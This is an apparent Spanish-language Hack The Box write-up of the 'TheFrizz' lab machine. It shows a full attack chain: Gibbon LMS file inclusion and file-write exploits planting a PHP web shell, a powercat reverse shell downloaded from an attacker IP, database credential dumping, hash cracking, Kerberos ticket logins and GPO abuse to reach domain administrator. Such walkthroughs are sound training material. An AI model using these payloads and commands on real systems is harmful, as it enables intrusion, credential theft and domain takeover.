Descripción️

TheFrizz es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de inclusión de archivo local en Gibbon LMS permitiendo la lectura de archivos de la aplicación
  • Escritura de archivos arbitrarios en Gibbon LMS permitiendo la ejecución de comandos remotos
  • Rotura del hash personalizado de la contraseña del administrador de Gibbon LMS️
  • Reutilización de la contraseña e inicio de sesión utilizando un ticket Kerberos
  • Escalada de privilegios mediante el abuso del privilegio de crear objetos de política de grupo

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.245.150.

$ ping -c 3 10.129.245.150
PING 10.129.245.150 (10.129.245.150) 56(84) bytes of data.
64 bytes from 10.129.245.150: icmp_seq=1 ttl=127 time=51.4 ms
64 bytes from 10.129.245.150: icmp_seq=2 ttl=127 time=50.0 ms
64 bytes from 10.129.245.150: icmp_seq=3 ttl=127 time=50.6 ms

--- 10.129.245.150 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 50.003/50.660/51.358/0.553 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.245.150 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.055s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds

Obtenemos muchos puertos abiertos, relacionados con un entorno Active Directory.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.245.150 -Pn -sV -sC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.051s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos 
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h01m02s
| smb2-time: 
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.52 seconds

Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Controlador de Dominio frizzdc.frizz.htb. Agregamos los host a nuestro archivo local /etc/hosts.️

$ echo "10.129.245.150 frizzdc.frizz.htb frizz.htb" | sudo tee -a /etc/hosts

Antes de más enumeración, vamos a sincronizar el tiempo y la fecha del nuestro sistema con el sistema remoto.️

sudo timedatectl set-ntp off
sudo rdate -n frizz.htb

En el servicio HTTP encontramos la página del “Colegio Primario Walkerville”. Podemos hacer clic en el botón Staff Login y se mostrará un cuadro de inicio de sesión para nosotros. Se redirige a la aplicación web Gibbon v25.0.00 en la carpeta Gibbon-LMS. Gibbon es un sistema de gestión del aprendizaje.️

Explotación️

Gibbon v25.0.0 es vulnerable a una inclusión de archivos locales (LFI) donde es posible incluir el contenido de varios archivos presentes en la carpeta de instalación, CVE-2023-34598. Gibbon versión 25.0.1 y previas permite escritura arbitraria de archivos porque rubrics_visualise_saveAjax.phps no requiere autenticación, CVE-2023-45878. Tenemos un ejemplo de concepto de la vulnerabilidad LFI en Github, compartido por maddsec. Podemos manipular el parámetro q para obtener el archivo local. Vamos a recuperar el archivo gibbon.sql (contenido en el paquete de instalación) para verificar cambios. El contenido del archivo es el mismo que el predeterminado pero solo hay un cambio.️

$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql'
...
(00008, 'System', 'indexText', 'Index Page Text', 'Text displayed in system\'s welcome page.', '*NOTICE** Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.'),
...

Encontramos un mensaje que se muestra cuando se abre la consola de administración, el administrador del sistema Fiona Frizzle está migrando la aplicación para utilizar Azure Active Directory SSO o Kerberos. El nombre de usuario de Fiona podría ser f.frizzle. Ahora vamos a movernos a la vulnerabilidad de lectura arbitraria de archivos con un ejemplo de concepto de prueba proveniente de usd HeroLab. El módulo Rubrics tiene un archivo rubrics_visualise_saveAjax.php que se puede acceder sin autenticación.️

$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'

El archivo acepta los parámetros img, path y gibbonPersonID como parámetros de POST. La siguiente solicitud escribirá el payload <?php echo system($_GET['cmd'])?> en el archivo wcmd.php.️

$ curl -d 'img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=wcmd.php&gibbonPersonID=0000000001' 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'

Ahora podemos verificar la ejecución del comando:️

$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=whoami'                                                 frizz\w.webservice

Está funcionando. La aplicación web se está ejecutando con el usuario w.webservice. Vamos a crear una consola reversa utilizando el script powercat.ps1. Comenzamos a escuchar por un puerto.️

$ nc -nvlp 1234
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+certutil+-urlcache+-f+http:%2F%2F10.10.14.54%2Fpowercat.ps1+powercat.ps1'
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+".+.%5Cpowercat.ps1;+powercat+-c+10.10.14.54+-p+1234+-e+powershell"'

Obtenemos la sesión como usuario del servidor web. Encontramos usuarios en el sistema, incluyendo f.frizzle.️

$ nc -nvlp 1234                                             listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.245.150] 52002
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
...

PS C:\xampp\htdocs\Gibbon-LMS> whoami
frizz\w.webservice
PS C:\xampp\htdocs\Gibbon-LMS> net user
User accounts for \\FRIZZDC
-------------------------------------------------------------------------------
a.perlstein              Administrator            c.ramon
c.sandiego               d.hudson                 f.frizzle
g.frizzle                Guest                    h.arm
J.perlstein              k.franklin               krbtgt
l.awesome                m.ramon                  M.SchoolBus              
p.terese                 r.tennelli               t.wright
v.frizzle                w.li                     w.Webservice             
The command completed successfully.

Estamos en la carpeta C:\xampp\htdocs\Gibbon-LMS, la raíz de la aplicación web Gibbon. Encontramos las credenciales del motor de bases de datos MySQL en el archivo config.php.️

PS C:\xampp\htdocs\Gibbon-LMS> type config.php
type config.php
<?php
...
/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...

Para la base de datos gibbon, encontramos el usuario MrGibbonsDB y la contraseña MisterGibbs!Parrot!?1. Al revisar el archivo gibbon.sql encontramos que los datos sobre los usuarios registrados se encuentran en la tabla gibbonPerson. Vamos a exportar el contenido de la tabla utilizando la herramienta binaria instalada mysql.exe, ubicada en la carpeta C:\xampp\mysql\bin\.️

C:\xampp\htdocs\Gibbon-LMS>c:\xampp\mysql\bin\mysql.exe -h 127.0.0.1 -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "select * from gibbonPerson" gibbon

gibbonPersonID  title   surname firstName       preferredName   officialName    nameInCharacters        gender  username        passwordStrong  passwordStrongSalt  passwordForceReset      status  canLogin        gibbonRoleIDPrimary     gibbonRoleIDAll dob     email   
...
0000000001      Ms.     Frizzle Fiona   Fiona   Fiona Frizzle           Unspecified     f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03    /aACFhikmNopqrRTVz2489  N       Full    Y       001     001     NULL    f.frizzle@frizz.htb     NULL    NULL    ::1     2024-10-29 09:28:59 NULL     NULL    0               ...

Obtenemos la contraseña cifrada 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 y la sal /aACFhikmNopqrRTVz2489 para el usuario f.frizzle@frizz.htb. Necesitamos descifrar la contraseña para verificar si se reutiliza en la cuenta de Windows. En el hilo de reinicio de contraseña del administrador encontramos que la contraseña se genera con la siguiente consulta SQL:️

UPDATE gibbonPerson
SET passwordStrong=SHA2(CONCAT(@salt:=SUBSTRING(MD5(RAND()), 1, 22), “yourNewPassword”), 256), passwordStrongSalt=@salt
WHERE gibbonPerson.gibbonPersonID=1;`

La sal (/aACFhikmNopqrRTVz2489) se concatena con la contraseña original y luego se crea un hash SHA256. Podemos romper el hash utilizando John The Ripper y el siguiente formato de hash: $dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489. El formato personalizado es dynamic_61, o sha256($s.$p).️

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (hMailServer [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)     
1g 0:00:00:01 DONE 0.8064g/s 8887Kp/s 8887Kc/s 8887KC/s Jesus14jrj..Jeepers93
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed. 

Encontramos que la contraseña para el usuario f.frizzle es Jenni_Luvs_Magic23. Vamos a regresar al panel de control web e iniciar sesión.️ Somos capaces de iniciar sesión y encontrar mensajes en el Message Wall al cual podemos acceder haciendo clic en el ícono de conversación.️ En el segundo mensaje encontramos que se permite el acceso a la máquina utilizando Enter-PSSession. Antes de eso, había una mención a Kerberos. Por lo tanto, podemos intentar iniciar sesión en la máquina utilizando la herramienta evil-winrm y un TGT (Servicio Asignación de Tickets). Comenzamos agregando el KDC al realm en el archivo /etc/krb5.conf (con el siguiente contenido).️

[realms]
FRIZZ.HTB = {
 kdc = "frizzdc.frizz.htb"
}

Entonces generamos el TGT con la herramienta impacket-GetTGT.️

$ impacket-getTGT frizz.htb/f.frizzle:Jenni_Luvs_Magic23   
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in f.frizzle.ccache

El ticket de Kerberos se almacena en el archivo f.frizzle.ccache, por lo tanto después de eso, exportamos la variable KRB5CCNAME con la ruta del archivo.️

$ export KRB5CCNAME=./f.frizzle.ccache

Luego podemos conectarnos a la máquina utilizando herramientas como evil-winrm o ssh.️

$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> whoami
frizz\f.frizzle

Estamos conectados con éxito como el usuario f.frizzle.️

Post-Explotación️

Enumerando los archivos del sistema encontramos dos archivos .7z en la papelera de reciclaje, $IE2XMEG.7z y $RE2XMEG.7z, los descargamos.️

*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem -Hidden 'C:\$RECYCLE.BIN'

Directory: C:\$RECYCLE.BIN


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-        10/29/2024   7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103'

Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/29/2024   7:31 AM            148 $IE2XMEG.7z
-a----        10/24/2024   9:16 PM       30416987 $RE2XMEG.7z

*Evil-WinRM* PS C:\Users\f.frizzle\Documents> xcopy 'C:\$recycle.bin\S-1-5-21-2386970044-1145388522-2932701813-1103\*' .
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$IE2XMEG.7z' 'IE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$RE2XMEG.7z' 'RE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download IE2XMEG.7z
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download RE2XMEG.7z

En el archivo $RE2XMEG.7z se encuentra un archivo con una copia de respaldo de la instalación de WAPT, una herramienta utilizada para actualizar las configuraciones del sistema operativo.️

$ 7z x RE2XMEG.7z
$ ls -1 wapt
auth_module_ad.py
cache
common.py
conf
conf.d
COPYING.txt
...

Encontramos la archivo de configuración del aplicativo en el archivo wapt/conf/waptserver.ini.️

$ cat wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

Encontramos una contraseña codificada con Base64 en el campo wapt_password, que es IXN1QmNpZ0BNZWhUZWQhUgo=, por lo tanto !suBcig@MehTed!R. Después de verificar con los usuarios, encontramos que esta es la contraseña del usuario M.SchoolBus.️

$ impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in M.SchoolBus.ccache

Iniciamos sesión de nuevo.️

$ export KRB5CCNAME=./M.SchoolBus.ccache
$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> whoami
frizz\m.schoolbus

Vamos a utilizar el script SharpHound y luego BloodHound para extraer información sobre el dominio.️

$ cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .
$ python -m http.server 80

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpHound.ps1 -o SharpHound.ps1
. .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\M.SchoolBus\Documents\

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> download BloodHound.zip

Encontramos que v.frizzle es el Administrador del Dominio.️ Encontramos que m.schoolbus pertenece al grupo de administración de escritorio Desktop Admins.️ El grupo Desktop Admins es miembro del grupo Group Policy Creator Owners.️ Por lo que m.schoolbus tiene la capacidad de crear nuevos objetos de política de grupo (GPOs), esto puede ser abusado para crear un nuevo GPO, enlazarlo a la unidad organizativa principal (OU) y luego agregar cualquier usuario al grupo Administrators. La unidad organizativa principal del dominio es Domain Controllers según la estructura de la unidad de mapeo.️ Descargamos la versión binaria de SharpGPOAbuse en la máquina, lo que nos permitirá crear una nueva política para agregar al usuario al grupo Administradores.️

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpGPOAbuse.exe -o SharpGPOAbuse.exe

Luego creamos la nueva GPO y la vinculamos a la OU de Domain Controllers.

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

Luego agregamos M.SchoolBus al grupo de administradores.️

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "Evil GPO"

Finalmente necesitamos actualizar el GPO para todos los usuarios con la herramienta gpoupdate.️

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> gpupdate /force

Encontramos que ahora formamos parte del grupo de Administradores.️

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
M.SchoolBus
The command completed successfully.

Ahora podemos cerrar y volver a abrir la sesión para tener los privilegios.️

Flags

Con la sesión del administrador local podemos obtener las flags user y root.️

*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\f.frizzle\desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\administrator\desktop\root.txt
<REDACTED>